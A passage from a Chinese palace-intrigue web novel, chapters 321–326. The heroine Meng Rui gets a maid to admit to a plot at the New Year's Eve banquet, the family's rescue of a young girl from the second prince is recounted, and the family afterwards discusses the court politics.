“五公主殿下,宴席即将开始,请您和诸位小姐,前往紫宸殿入座。”
“知道了。”
五公主在随侍宫女,和跟随而来的世家小姐们的簇拥下,向宫宴举办地紫宸殿而去。
孟瑜、孟蕊,以及纪华筠等人走在最后边,渐渐与五公主她们拉开距离。
走向紫宸殿的途中,程燕燕困惑地问孟蕊:
“孟姐姐,那位姜小姐好生奇怪,她难道不知道你二哥讨厌她吗?为什么还总强调他们兄妹情深呢?”
孟蕊不答反问:“她或许真的不知道呢?”
“可是你二哥都不理她了,很明显是讨厌她呀,她却认为是你说她坏话导致的,她到底是怎么想的?”程燕燕实在想不通。
她年纪小,又被父亲程侍郎保护得天真无邪,不懂那些复杂的心思。
程家人口简单,程侍郎是寒门出身,只娶了一位妻子,生了一女一儿。
程燕燕没有哥哥,只有一个听话的弟弟,她让弟弟往东,弟弟绝不敢往西。
要是她的弟弟不理她,嗯……弟弟最喜欢和她一起玩,不会不理她。
孟蕊看着程燕燕懵懂单纯的可爱样,伸手将她垂落的一缕发丝别到耳后。
“燕燕可听说过‘掩耳盗铃’这个典故?”
程燕燕点点头,“当然听过,铃铛的响声,所有人都能听见,盗贼却只捂住自己的耳朵,他就是在自欺欺人。”
“是啊,就是自欺欺人。”
孟蕊微笑着说。
“有的人自负聪明,觉得除了她自己,其他人都是笨蛋。
旁人的喜恶悲欢,她从不放在眼里,只算计着如何利用旁人,达到她自己的目的。
殊不知,感情和关系,都需要经营和付出,若只是一味索取,她身边的人,都只想远远逃离。”
“我明白了,她就是个自私自利的人。”
程燕燕恍然大悟。
“她对孟二公子没有过关心,没有发现孟二公子对她的态度变化,以为孟二公子还会像小时候那样事事顺着她,才会做出今日这般丢脸之事,对不对?”
“对对对,我们燕燕最聪明了!”
纪华筠亲昵地拍了拍程燕燕的脑袋,嘱咐道。
“姓姜的那家伙不是好人,刚才那番扭捏姿态,看得我浑身不舒服,燕燕以后见到她,记得离她远点儿,别着了道儿。”
“放心吧,纪姐姐。”
程燕燕举起拳头,挥舞了两下,展示给纪华筠看。
“我爹让我从小习武,我现在很厉害的,不会轻易被人撂倒。”
程燕燕的父亲程金,是武将出身,现任兵部侍郎,他的一双儿女,都是自小习武。
“对对对,我们燕燕最厉害了。”纪华筠很给面子地说。
走在前头的孟瑜,闻言回头,好笑地望向纪华筠。
“你怎么跟哄小孩一样,只会说对对对?”
纪华筠牵起程燕燕的手,对孟瑜嘟了嘟嘴。
“我们燕燕还未及笄呢,可不就是小孩子吗?我先学着哄哄,以后好哄自己的小孩啊。”
孟瑜一愣,随即听懂了纪华筠的暗示,一抹红晕悄然爬上脸庞。
旁边的赵雅娴有些看不下去,“你们两个要打情骂俏,上一边去,别带坏了燕燕。”
“好啦,不说了,马上就到紫宸殿,我会尽量保持端庄。”
纪华筠清了清嗓子,挺直身姿,又恢复了京城贵女典范的淑女风范。
走进紫宸殿,他们各自分开,入座自家的座位。
除夕宫宴,与往常那些宫宴,没有太大区别。
孟蕊在这样的场合中,早已游刃有余。
此时,她身边的座位,已经都空了。
谢清源去向陛下敬过酒后,被其他大臣拉去喝酒聊天。
孟瑾被礼部尚书贺维钦拉住说话,一时半刻回不来。
一直守在孟蕊身边的孟瑜,也被羽林军霍统领拽走,大概是要聊孟瑜请长假的事。
孟蕊坐在座位上,一边欣赏着宫廷歌舞,一边小口吃着御膳佳肴,等着时间过去,便与爹爹兄长们一同回府。
忽然,一名路过的宫女,脚下一滑,身体倾斜。
她手中托盘上的酒水,正正好洒在了孟蕊的裙摆上,立刻湿漉了一小片。
第322章 宫女阴谋
此刻的紫宸殿中,宫宴已经进行到后半场,皇帝和太后已经离开,气氛轻松许多。
殿中喜庆的丝竹声不绝于耳,大臣们相互走动着敬酒,相熟的女眷们围在一起说笑,热闹非常,很少有人注意到孟蕊这边的动静。
孟蕊本想去找纪华筠她们说话的,但她远远望见,永宁侯夫人牢牢拉着纪华筠,不让纪华筠离开自己身边。
想来是之前在御花园亭中,她们与五公主和姜瑶的冲突,让永宁侯夫人有所顾忌,加强了对纪华筠的看管。
许南音没有出席宫宴,而其他家的小姐们,与孟蕊没多少交情,有的过来问候一声就离开了。
孟蕊环视四周,近处的座位上,现在刚好都没有人在。
她不由在心中感叹,这宫女找的时机还真不错。
孟蕊看着裙摆上明显的一片黄色酒渍,冷眸看向泼洒酒水的宫女。
此女中等身材,很端正普通的一张脸,是扎入人群中都难找到的那种长相。
宫女颤抖着身子,立即跪在孟蕊面前。
“奴婢刚才脚滑了一下,不小心将酒水洒出,奴婢不是故意的,求县主恕罪。”
宫女跪在地上,瑟瑟发抖,时不时偷偷抬眼,瞄向孟蕊的眼神中,透着一股怯怯的期待。
孟蕊端坐不动,居高临下观察着面前跪地的宫女,没说饶恕,也没说要处罚。
吟秋拿着手帕,尝试擦去孟蕊裙摆上的酒渍。
但酒渍已经浸入锦缎中,只能擦掉表面的水迹,擦不掉颜色,黄色的一片,映在孟蕊淡蓝色的裙子上,很是难看。
“县主,这酒渍擦不掉,咱们先去偏殿换套衣裳吧?”吟秋提议。
为了应对诸如此类的情况,参加宫宴的女眷几乎都会多备一套衣裳带着,孟蕊也不例外。
跪地的宫女,快速抬起头来,带着几分急迫道:
“县主,偏殿现在人多,奴婢可以带您去别处空闲宫殿更衣。”
孟蕊微微挑眉,“你很在意我换衣裳?”
“奴婢只是想将功折罪……”宫女怯懦地又低下头去。
“将功折罪?你有什么功劳吗?”
孟蕊盯着她,好整以暇地问:
“说说,你叫什么名字?在宫中何处当差?准备把我引去哪里?要怎么对付我?”
“没……没有!奴婢没有要对付您!”
宫女连忙对着孟蕊磕头,匍匐在地上,颤抖着身子乞求道。
“县主,奴婢只是不小心洒了酒水,没有坏心的啊!”
孟蕊递给吟夏一个眼神,吟夏上前,蹲在宫女身边,暗暗揪住宫女的胳膊,反手一扭,就制住了她,迫使她挺直上身,将头抬起。
但在远处的人看起来,只会觉得吟夏和这宫女一起蹲在地上说话。
“我家县主在问你话,老实回答!”
吟夏附在宫女耳边逼问。
“你叫什么名字?在宫中何处当差?泼我们县主酒水,意欲何为?快说!”
“奴婢……奴婢叫莺歌,是紫宸殿的洒扫宫女。”
宫女莺歌眼中闪过惊吓,下意识说道。
“奴婢不是故意泼县主酒的,脚底一滑,不小心才洒了酒。”
“本县主看起来,有那么蠢笨?”
孟蕊唇边扬起一个莫测的笑,定定看着莺歌。
“莺歌,你是第一次做这种事吧?装作脚滑泼酒时,你的动作很不自然,说谎也不熟练。
你的眼神左右摇摆,或许还有一丝良知尚存,不想助纣为虐,陷害于我?”
莺歌低着头,嗫嚅道:“奴婢听不懂县主在说什么。”
“那就说说你听得懂的,是安乐侯府的姜瑶,让你来给我泼酒的?她想让你带我去哪里更衣?”孟蕊单刀直入问道。
莺歌猛然抬头,眼中闪过慌乱,又迅速低下头否认。
“奴婢不认识什么姜小姐,还是听不懂您的话。”
“安乐侯府有小姐也有公子,你说你不认识姜瑶,那你如何知道姜瑶是小姐,不是公子?”
孟蕊用手支着下巴,看着莺歌,淡淡道。
“你是姜瑶临时找来做事的人吧?我猜想,你与她交情不深,万一出事,你陷了进去,她完全可以谎称不认识你,倒霉的只有你一个。”
莺歌眼中惊疑交加,望着孟蕊,抿着嘴不说话。
孟蕊观察着莺歌,觉得这宫女的情绪也容易太让人看懂了,以姜瑶奸猾精明的性子,怎么会选如此愚钝的宫女来引诱她?
姜瑶是太看不起她,还是故意想让她发现端倪?
莺歌一直不说话,孟蕊也懒得再与她耗下去,直接威胁道:
“莺歌,你知道的,本县主要处置了你一个小小宫女,轻而易举。
现在,本县主给你两个选择:
第一,老实告诉本县主,姜瑶让你做什么事?
本县主可以勉强放你一马,就当你真的只是不小心洒了酒水,不追究你的其他过错。
第二,你咬死不认,本县主把你交到慎刑司。
那些折磨人的手段,你在宫中想必也听说过,你觉得你能熬得过几时?”
“不要,奴婢说实话,求求您,不要把奴婢交去慎刑司!”
莺歌听到慎刑司的名头,脸都吓白了,对着孟蕊忙不迭道。
“奴婢之前并不认识姜小姐,昨日奴婢得知奴婢老子娘病了,需要银钱救命,宫宴之前,奴婢在找同乡借钱时,被姜小姐看见,她给了奴婢一百两银票,让奴婢帮她一个小忙……”
莺歌额上溢出冷汗,声音因害怕而颤抖。
“她说这件事很简单,只要奴婢想办法给县主您泼点酒水菜汤之类的,再以换衣服的名义,将您带去福宁殿就行……”
“带我过去之后呢?她要对我做什么?”孟蕊追问。
“奴婢不知,她没和我讲……”
莺歌无措地摇头,忽然像是想到什么,不确定地说。
“奴婢离开时,好像听到姜小姐和另一个人说,等您到了,就把您和床上的女子换一下,其他的,奴婢真的不知了。”
孟蕊看着莺歌,眸色深沉。
若莺歌所言为真,那么要被陷害的女子,除了孟蕊外,还有一人。
无论是谁,孟蕊都不希望有女子被诬陷清白,害了一生。
“吟夏,看好她,我去去就回。”
孟蕊站起身,带着吟秋,向殿外走去。
第323章 找帮手去
孟蕊不是要自己去莺歌口中的福宁殿,而是去殿外,找两位兄长。
谢清源就在紫宸殿中,但他被奉承吹捧的大臣们,层层包围着敬酒,孟蕊一个女子,不方便去打扰。
孟蕊之前看到孟瑾和孟瑜都走出了殿门,所以去殿外寻找。
很快,她在殿外廊上,找到了与贺知越闲谈的孟瑾。
孟蕊松了一口气,让吟秋去请孟瑾过来说话。
不多时,孟瑾就来到孟蕊身边。
孟蕊抓起孟瑾的手,将他带到一处无人的拐角,才将莺歌交代的话,挑着重点,简略快速地告诉了孟瑾。
孟瑾思索片刻,镇定道:
“我知道了,你先回紫宸殿中,去找永宁侯夫人和纪小姐,与她们待在一处,这事交给我来处理。”
说完,他的目光落在孟蕊抓着他手腕的手上,伸出另一只手,安抚地拍了拍孟蕊的。
“别紧张,一点小事而已,为兄先送你去永宁侯夫人那儿。”
孟蕊后知后觉地缩回手,赧然道:
“不用了,我自己过去就好,大哥你注意安全。”
孟蕊匆匆行了一礼,带着吟秋,转身快速离开。
手上温热的触感犹在,孟蕊逃也似的快步走着,她一着急,忘记了孟瑾不是她亲大哥,有些后悔自己的失礼,暗暗告诉自己,以后一定要注意。
不过,孟蕊依然很信任孟瑾,觉得孟瑾比她爹靠谱,这事交给孟瑾,应该能解决好。
孟蕊刚踏入紫宸殿内,准备去寻纪华筠,就看到一身绯红华丽宫装的厉青雪,春光满面地向她走来。
“孟小姐,瑞嘉县主,你今日可又出名了。”
厉青雪在孟蕊面前站定,欣赏的目光上下扫过她,豪迈地拍了拍孟蕊的肩。
“不愧是我哥看中的女人,敢和公主叫板,本郡主很看好你!”
孟蕊眉心一跳,对着厉青雪规矩行礼,“见过青城郡主。”
“快免礼。”
厉青雪和颜悦色地扶起孟蕊,顺势拉着她的胳膊,亲昵地说。
“等你嫁给我哥,以后我们就是一家人了,你每天还能给我作画,陪我玩儿。”
孟蕊心中发慌,警惕地环视一圈,见没有太多人关注她们的对话,才以玩笑的口吻道:
“郡主别拿我取笑了,您想我给您作画,改天约个时间,我去您府上便是。”
她反拉住厉青雪的手,一边引着厉青雪缓缓行至人少的角落,一边故作轻松地说:
“我近来名声不太好,郡主的兄长厉王爷,是威武不凡的大人物,我可不敢污了他的名声,郡主切莫再开这种玩笑了。”
“本郡主没和你开玩笑!”
厉青雪收敛笑容,正色道。
“我哥他肯定对你有意,绝对没错。”
孟蕊听出她话中的不确定,反问:“你怎么知道的?厉王爷亲口告诉你的?”
“那倒没有,是我自己找到证据猜出来的。”
厉青雪神神秘秘地压低了声音,在孟蕊耳畔道。
“前段时间你不在京城,我发现我哥调动暗卫,在追查你的踪迹。
后来我留个心眼,时常关注府中送往北地的消息。
前几天,我截了管家的信,看到上面写了你回京的消息,还有你回京后都做了什么事,这说明,我哥很关注你。
据我所知,我哥从没如此关注一个女子,他定然是看上你啦!”
孟蕊心中泛起一阵恶寒,她才不要厉青鸿的喜欢,面上保持平静,语气无奈地说:
“郡主,您想多了,厉王爷了解京中消息,朝堂形势,碰巧知道了我参与的那些事而已,不是对我有意,您别听风就是雨的。”
“怎会?我最了解我哥,我就觉得他心悦你。”厉青雪笃定自己的想法。
孟蕊松开厉青雪的胳膊,不悦道:
“就算他心悦我,我也不可能嫁给他。”
“为什么?”厉青雪急了,她还蛮想孟蕊当她嫂子的。
“因为我不会嫁人,只会选婿入赘啊。”
孟蕊眼尾一挑,理所当然地说。
“我娘亲早就给我定好了,我以后是要招赘婿的,你舍得你哥给我入赘吗?”
“那肯定不行!”
厉青雪毫不犹豫地否决。
“我哥是三代单传,厉家唯一男丁,他入赘了,我们家的家业怎么办?”
“那不就得了?”孟蕊平静摊手,“这事儿没得商量。”
厉青雪不甘心地看着孟蕊,“你干嘛非要招赘婿啊?嫁给我哥不好吗?”
“郡主,您不知道?招赘的好处,那是数都数不清!”
孟蕊循循善诱,将招赘的好处,一通吹捧,很快转移了厉青雪关注的焦点。
厉青雪越听越认真,眼睛越来越亮,直呼“还有这等好事!”
“像我这种身份的女子,一个人可以招几个赘婿呢?”
厉青雪眸中闪烁着兴奋的光,对着孟蕊求知若渴地问。
“比方说,我中意的男子,有两个,不对,大概三四个,都能招成赘婿吗?”
“啊这……”孟蕊犯了难,厉青雪会不会太贪心了点?
“一般来说,招赘是只能招一位夫婿的。”孟蕊如实道。
厉青雪失望地摇头,“这也太不公平了,郡王可以娶正妃侧妃,还有一堆侍妾,我身为郡主,为什么只能有一个夫婿?”
孟蕊只是笑笑,大齐礼法,不允许一女多嫁,她也不好给厉青雪出主意。
与厉青雪又闲聊了几句,孟蕊与她告辞,去找纪华筠。
纪华筠坐在永宁侯夫人身边,一晚上都不被允许离开一步。
看到孟蕊来找自己,纪华筠很高兴,拉着孟蕊挨着自己坐下。
“蕊儿妹妹,你终于来了,我娘不让我走动,阿娴和燕燕不知怎的,也不来找我说话,唉,我都无聊到快睡着了。”
永宁侯夫人淡淡看了眼孟蕊,提醒道:
“县主既然过来,也陪着华筠一起安稳坐着,说说话就好,别总到处乱跑,无端招惹是非。”
孟蕊知道,为了之前御花园五公主和姜瑶找茬的事,永宁侯夫人对她有所不满。
孟蕊也不解释,只乖顺地应下。
“多谢纪夫人提醒,我就是来与华筠姐姐说说话,不离开这里。”
话音刚落,紫宸殿外传来一阵喧闹声。
纪华筠好奇地站起来,向外张望,被永宁侯夫人按下。
“你今晚给我乖乖待着,哪里都不许去!”
第324章 苟且之事
纪华筠叹着气坐下,“娘,我看看而已嘛,又没说要出去。”
永宁侯夫人稳坐如山,拉着纪华筠的手,不许她有任何异动。
孟蕊望向殿外的方向,看不出什么来,她猜测是福宁殿的方向事发,也不知孟瑾有没有救下那个被陷害的女子?
外面的喧闹声没有持续太久。
一刻钟后,陆续有大臣们从殿外回来,他们面色各异,有沾沾自喜掩饰不住的,有愁眉苦脸、垂头丧气的,还有唉声叹气、摇头晃脑的。
而跟着回来的女眷们,大多是一脸羞耻,又一言难尽的表情。
孟蕊见此更加好奇,那福宁殿中,到底发生了什么事?
小半个时辰后,庆明帝身边的大太监高公公前来宣布,除夕宫宴结束,可自行归家。
孟蕊算了算时间,比往年的除夕宫宴结束,要提前快一个时辰。
宫女莺歌被孟瑾的人带走,吟夏回到了孟蕊身边。
孟瑜从殿外匆匆赶来,看到毫发无损的孟蕊,明显松了一口气。
“阿瑜,外面发生什么事了?”
纪华筠一看到孟瑜,就冲上去问。
“今晚这动静不寻常,一定有事发生,对不对?”
孟瑜对永宁侯夫人行礼后,对纪华筠道:
“福宁殿那边,二殿下出了点事,陛下和太后娘娘他们都过去了,具体情况还不清楚。”
“福宁殿?不就在紫宸殿西边,离我们很近啊。”
纪华筠期待地看着孟瑜。
“阿瑜你肯定知道具体是什么情况,对不对?你就告诉我嘛!不然我今晚都睡不着觉了。”
孟瑜又看了眼永宁侯夫人,见对方没有阻止,小声道:
“二殿下在福宁殿中与人苟合,被淑妃娘娘带着人撞破,那与二殿下苟合之人……是淑妃娘娘宫里的太监。”
“我的天呐!”
纪华筠倒抽一口凉气,叹道。
“二殿下玩得越来越花了,连太监也……”
“华筠,注意你的言辞。”永宁侯夫人严肃提醒。
纪华筠立即闭嘴,乌溜溜转动眼珠,向孟瑜表达她的震惊。
“此事与我们无关,不要妄加议论。”
永宁侯夫人面容冷沉,实则心中如惊涛骇浪涌过。
二皇子居然和太监做出那种肮脏之事,还是在除夕宫宴进行之时,恐要遭陛下厌弃。
还好她的女儿,没有与二皇子定亲。
还好他们永宁侯府,没有与二皇子捆绑。
不然,此时的他们,就要被京中人人耻笑了。
永宁侯夫人派人去找回永宁侯,带着纪华筠一同出宫。
与永宁侯一家告别后,孟瑜和孟蕊找到了喝得醉醺醺的谢清源。
谢清源的亲大哥、工部尚书谢泽淳,和谢清源的姐夫、刑部侍郎郭宪,一人一边,架着谢清源的胳膊,把人交到孟瑜手上。
“照顾好你父亲,他喝了不少酒。”谢泽淳嘱咐道。
“麻烦大伯了,我这就带他回去醒酒。”
孟瑜一手拎起谢清源的衣领,对谢泽淳略一点头,就带着谢清源往外走。
孟蕊对着谢泽淳和郭宪一礼后,连忙追上去。
“二哥,你这样抓着爹爹,他会不会不舒服啊?”
“这样走比较快。”
孟瑜步履不停,言下之意,走得快就行,他才不在乎手里拽着的醉鬼难不难受。
走出殿门时,孟蕊看到带着随从等待的孟瑾,惊喜唤道:
“大哥!”
孟瑾对孟蕊温柔一笑,对身边的随从挥了下手,两名随从立刻上前,从孟瑜手中的接过谢清源,扶着谢清源继续往外走。
孟蕊看着孟瑾,有好多想问的问题。
孟瑜也审视着孟瑾,抿了抿唇,“你刚才去哪儿了?”
“我与知越说了会儿话。”
孟瑾沉稳从容地说着假话。
“二弟,小妹,咱们先送父亲回府安置,有什么事,回去再说。”
兄妹三人,带着谢清源,出了宫门,上了马车。
一炷香时间后,马车停在谢府门口。
孟瑜下了马,走向谢清源坐的马车,准备将人拎出来。
还不等他掀起车帘,就看到谢清源自己从马车上走了下来。
“阿瑜啊,你下次能不能别拽为父的衣领,那个姿势,既不舒服,又不雅观。”
谢清源眼神清明,对着走近的孟瑜提出要求。
“你可以扶着我,或是架着我的胳膊都行。”
孟瑜上下打量谢清源,嗅了嗅味道,依然能闻到谢清源身上的酒气,但他的样子,分明毫无醉意。
“你没醉?”
谢清源得意一笑,上前搂住孟瑜的肩膀,带着他往府中走。
“能把你爹我灌醉的人,还没出现呢!”
刚下马车的孟蕊,看到没有喝醉的谢清源,也颇为惊讶。
孟瑾走到她身边,含笑解释:
“父亲千杯不醉,少有人知,他不想应酬的时候,就如今天这般装醉。”
孟蕊表示了解地点头,忽然想到半年多前的太后寿宴上,爹爹也是一副醉态地回府,娘亲还专门去照顾他,难道娘亲也不知?
爹爹那是扮猪吃虎啊!
孟蕊和孟瑾一起走进谢府,跟着谢清源和孟瑜,走到正堂落座。
吩咐李管家派人守在四周,一家人开始讲起正事。
谢清源喝了一口茶,看向孟瑾。
“阿瑾,你先说,今晚二皇子的事,你知道多少?”
孟瑜和孟蕊的目光,齐刷刷看向孟瑾。
孟瑾微微一笑,不紧不慢道:
“今日这事,还好蕊儿发现及时,从那名叫莺歌的宫女口中,问出了福宁殿。
我派人去福宁殿查看情况,遇到了正要对兵部侍郎程金之女程燕燕下手的二皇子。”
“什么?二皇子要轻薄的人,是燕燕?”
孟蕊气愤地站起来。
“燕燕才十四岁,都未及笄,她还是个孩子!”
“二皇子那样荤素不忌的畜生,不会怜惜女子年幼。”孟瑜冷冷出声。
“蕊儿放心,我派去的人到时,二皇子还没有得手。”
孟瑾嗓音柔和,让孟蕊的气愤有所缓解。
“二皇子一派,看中的是兵权,程侍郎半生戎马,之前一直跟在纪老将军身边效力,也是永宁侯的亲信,在军中也颇有威望。”
孟蕊缓缓坐回椅子上,担忧地问:
“那燕燕现在如何了?她没事吧?陛下会不会把她赐婚给二皇子?”
第325章 漏洞百出
“不会。”
孟瑾毫不犹豫道。
“我的人到得及时,打晕了二皇子,把程小姐救了出来,交给了她的母亲程夫人,现在,她应该已经在家人的陪伴下回家了,蕊儿不必多虑。”
孟瑾顿了顿,继续说。
“淑妃带着几位妃嫔和世家夫人,闯入福宁殿捉奸时,现场只有二皇子和那名参与此事的太监在,他们找不到任何程小姐到过此处的痕迹。
可以说,从现有的证据看,无法证明此事与程小姐有关,除非二皇子和淑妃自曝他们的阴谋,但我想,他们没那么蠢。”
“燕燕没事就好。”
孟蕊舒出一口气,悬着的心终于落地。
“多谢大哥出手相助,不然……燕燕就太可怜了。”
孟瑾笑意清浅,“程小姐能得救,主要是蕊儿你的功劳,我派去的随从,对程家人报的是你的名字,如果他们问起,你便说是你派去的人即可。”
孟蕊一愣,“大哥这是把程家的人情让给我?”
“是你应得的。”
孟瑾注视着孟蕊,温和笑道。
“程小姐是女子,以你的名义救她,更加合适。”
孟瑾点到即止,孟蕊立刻明白。
若是程家人要搞以身相许报恩那一套,孟瑾的婚事会成为目标,他也是为了给自己免去麻烦。
孟瑜用手支着脑袋,探究地看向孟瑾,“那二皇子和太监行苟且之事,也是你的手笔?”
“二弟高看为兄了,我并未涉及此事。”
孟瑾对着孟瑜坦然微笑。
“我只派了随从去福宁殿查看情况,让他若遇被陷害的女子,要将那女子救出,其他的事,与我们无关。”
“那这事是谁做的?”
孟瑜半信半疑地问。
“二皇子再急色,也不会公然在除夕宫宴期间,与一个太监乱来。”
二皇子对程燕燕下手,是为了程家在军中的势力,程燕燕被救,他又被打晕,按说不会再有事发生。
退一步说,二皇子没有被打晕,他又起了兴致,和美貌宫女有了首尾,都比和太监靠谱。
孟瑜听说,那太监是淑妃宫中的,比二皇子还大几岁,长相一般,完全比不得二皇子在宫外养的娈童。
“会不会还有另一方势力插手?”
孟蕊想到给她泼酒的宫女莺歌。
“如果三皇子的势力,插手了这件事呢?他们要让二皇子身败名裂,不会在乎什么香的臭的,只会怎么恶心怎么来。”
接着,孟蕊将自己在除夕宫宴上,被宫女莺歌泼酒,以及莺歌承认是姜瑶收买她,要带孟蕊去福宁殿的事娓娓道来。 “啪!”
谢清源一掌拍在桌上,怒道。
“姜瑶是要陷害你与二皇子?!老子弄死她!”
孟瑾温声提醒:“父亲息怒,姜瑶身后的南照势力,还没查清,她还有用处。”
“太拙劣了。”孟瑜冷冷评价。
谢清源怒容一滞,“阿瑜,你觉得为父拙劣?我只是想给蕊儿出气,哪里拙劣了?”
“不是说你,说的是姜瑶让一个不熟的宫女,去陷害蕊儿的事。”
孟瑜无语地瞥了眼谢清源,沉声分析。
“以我对姜瑶的了解,她如果要陷害蕊儿,起码会派心腹去做,而且不会那么轻易让人发现端倪,拆穿她的计划。
那个宫女被蕊儿威胁几句,就撂了实话,这本身就很可疑。”
孟蕊表示赞同,“我和二哥想法一致,姜瑶用银票收买了今天才认识的宫女莺歌,看中的就是莺歌的不够机灵和胆小怯懦,这正符合她的目的。”
“你们的意思是,她的目的不是要陷害你和二皇子,而是故意让你发现莺歌的不对劲?”
谢清源也回过味来,再结合姜瑶与三皇子的关系,很快想通。
“这个姜瑶,是要借刀杀人,她是想让你去破坏二皇子对程家姑娘下手的事。”
“应该是这样,姜瑶为了三皇子,不能让二皇子与程家达成姻亲关系,她应该是提前发现了二皇子的作为,挑选了漏洞百出的莺歌来向我提供消息。”
孟蕊看向谢清源,眸中闪过不解。
“可是,她如何能确定,我发现莺歌的破绽后,一定会想办法去福宁殿救人呢?莺歌并没有提到另一名女子是程燕燕。”
如果孟蕊怕惹事,没有参与福宁殿的事,现在又会是何种结果?
“因为她足够了解你。”
孟瑜挑眉看着孟蕊,为她解惑。
“你能在永宁侯府救下被构陷名节的许南音,说明你是个正义、善良的人,当你得知还有另外的女子要被欺辱时,你不可能无动于衷,无论那女子你是否认识。”
孟蕊豁然开朗,她当时就是如二哥所说这般想的。
同时,她又感到心惊,姜瑶居然这么了解她,连她的反应都算准了。
“如此说来,大哥的随从救走燕燕后,是姜瑶和三皇子的人,布置了二皇子和太监苟且的场景。”
孟蕊说出自己的推断。
“二皇子的母妃淑妃娘娘,也是陷害燕燕清白的参与者,她带着那些妃嫔夫人,闯入福宁殿,就是为了亲自撞破二皇子毁了燕燕的清白,好让燕燕嫁给二皇子。
可惜,他们搬起石头砸了自己的脚,让一同跟来的妃嫔和世家夫人们,都看到了二皇子与太监苟且的一幕。”
孟瑾嘴角勾起嘲讽,接着孟蕊的话道:
“听说,淑妃见此场景,是要压下这件事的,但吴贵妃来得更快,迅速控制了局势,让人去禀报了陛下和太后。
后续会如何处理,就要看吴家和曹家,谁能压得过谁了。” “曹尚书也赶过去了,我看他那时难看的脸色,应该是不知道淑妃和二皇子的计划。”
谢清源笑得幸灾乐祸。
“他一辈子老奸巨猾,临到老了,摊上淑妃和二皇子这对带不动的蠢货,也是报应。”
孟蕊也觉得,淑妃和二皇子这次的行事,太上不得台面了。
二皇子想要兵权,明明有更好的人选,他放不下身段去哄厉青雪,挑着程燕燕一个还没长大的孩子陷害,真是令人不齿。
“爹爹觉得,此事会如何收场?”孟蕊问。
谢清源摸着下巴思考了片刻,正要说话,孟瑜忽然从椅子上跃起,瞬间闪身飞了出去。
紧接着,孟蕊听到上方屋顶传来打斗声,心中一惊。
难道有人潜入,藏在屋顶偷听?
第326章 孟天归来
谢清源在孟瑜闪身出门的下一刻,紧跟着追了出去。
孟蕊和孟瑾跑出正堂,站在庭院中,望向屋顶上。
孟瑜和一名黑衣人正在交手打斗,谢清源站在旁边,焦急地想要阻止。
“阿瑜,这是你娘啊,你看不出来吗?”
孟瑜没理他,继续出招。
裹着一身黑衣的孟天,也不停手。
母子俩从房顶打到庭院,足足过了一百多招,都没有分出胜负。
最后是李管家带着厨娘,端着香喷喷的饺子出现,才结束了这场打斗。
饭厅中,孟天一身黑衣未换,只除了面巾,就端起碗,大口吃着水饺。
其他人也围坐在饭桌边,一起吃饺子。
宫宴上的菜好看,但吃不饱,而且今晚是除夕,要守岁,多少要吃点宵夜。
“娘亲,饺子刚端出来,小心烫。”
孟蕊关心提醒,拿出帕子放在孟天手边,方便她擦拭嘴边的汤汁。
孟天冲孟蕊笑笑,“还是乖女儿好,臭小子出招狠辣,都不让着你娘点儿。”
“我就是想试试,谁的武功更高。”孟瑜面无表情道。
“那当然是你娘我武功更高啊,你小子多练几年再说。”
孟天理所当然地说着,继续埋头吃水饺。
孟蕊开口缓和气氛,“娘亲,您是特意今晚赶回京,陪我们过年的吗?真是太好了。”
孟天吃着饺子,张不开嘴,孟瑜抢在她前头说。
“阿娘提前两天就回来了,她不想参加除夕宫宴,所以躲在外头,等我们从宫宴回来,她才出现。”
孟天吞下一口,终于可以说话,“阿瑜,你干嘛总拆我的台?”
“我只是实话实说。”孟瑜淡淡道。
谢清源把一盘蒸饺,推到孟天面前,打断母子俩的互呛。
“娘子,尝尝这个,是羊肉馅的,你一定喜欢。”
孟天给面子地夹起一个蒸饺尝了尝,接着又吃起了第二个。
谢清源殷勤地给孟天盛汤夹菜,让孟蕊都有些看不下去。
孟瑜没再说话,拿起筷子,大快朵颐,吃了不少。
孟瑾和孟蕊也陪着吃了一些。
谢清源伺候着孟天用餐,不禁好奇地问:
“娘子,你为什么回家不走正门,要穿着这一身,趴在屋顶啊?” “之前去办了点事,回来时忘记换衣服了。”
孟天扯了扯身上的黑衣,从怀中掏出一封信。
“就是为了这个,姓曹的给北地写的信,被我从驿站截获,你们可以打开看看。”
谢清源拿起信封,打开封口,拿出信纸展开。
他一口气读完,惊讶地看向孟天。
“娘子,这是曹尚书写给镇北王的信,从信上所言来看,他们已经达成了某种合作,曹尚书还直接提出让青城郡主嫁给二皇子为正妃,承诺事成后,青城郡主就是皇后。”
孟天睨了他一眼,“我识字,已经看过了,不用你重复告诉我。”
“不是,娘子,你怎么搞到这封信的?”谢清源不可思议地问,“没被曹家的人发现吧?”
“老子办事,比你靠谱!”
孟天没好气地说。
“你看到的这封信,是复刻的副本,原件已经放回去了。
就算他们发现原件被动过,首先怀疑的,也是与他们在朝堂上斗狠的二皇子和吴家,想不到我头上来。”
听到曹家和厉青鸿结盟的消息,孟蕊感到心慌,她踌躇着说:
“娘亲,爹爹,今天宫宴上,青城郡主对我说,京城镇北王府的暗卫,在收集关于我的消息,送去北地,我……”
“怕什么?”
孟天豪迈地拍了拍孟蕊的背。
“记得为娘教你的那几招不?厉青鸿还敢打你的主意,你就那飞刀射他,拿药粉毒他,不遗余力搞死他!对待登徒子,千万不要手软!”
孟蕊犹豫地点了点头,她当然不会手软,就是怕自己真遇上时,打不过啊!
谢清源看着女儿为难地样子,不赞同地对孟天说:
“娘子,蕊儿的武功才练了不到一年,厉青鸿是二十几年的真功夫,蕊儿怎么打得过他?你教蕊儿那些,不是添乱吗?”
谢清源又对孟蕊说:
“蕊儿,你别担心,爹爹会保护好你,那臭小子别想近你的身。”
“杀了厉青鸿,是不是就解决了?”孟瑜带着杀意的目光看过来,语气森冷。
见孟瑜有点动真格的样子,谢清源连忙阻止。
“阿瑜,你别乱来,那是领兵镇守北地的镇北王,不能说杀就杀的。”
孟瑾也道:“厉青鸿的祖父厉老将军,是当年平定京城大乱的功臣,在民间和军中都非常有威望,没有充足的理由,不能动厉青鸿,否则,会引来天下人的口诛笔伐。”
孟瑜冷嗤一声,“厉青鸿都怀疑是陛下杀了他祖父了,你们还这样瞻前顾后,犹豫不决,当心他联合二皇子逼宫,让你们落得一场空。”
“阿瑜!话不能乱说!”谢清源沉声提醒。
“你们难道没这样想过?我不过是替你们说出来。”
孟瑜耸了耸肩,偏头看向孟瑾。 “我只有一条,我的妹妹,从前代人受苦,今后,我不许她为任何人受罪!”
他冷厉的目光射向谢清源。
“如果有人想要用她去换取利益,铺就自己的前程,不管是谁,都得死!”
谢清源怔在当场,他亲儿子在威胁要杀他?
难道在孟瑜眼中,他就是一个为了往上爬不顾子女亲人的混蛋吗?
谢清源张了张口,却说不出一句话。
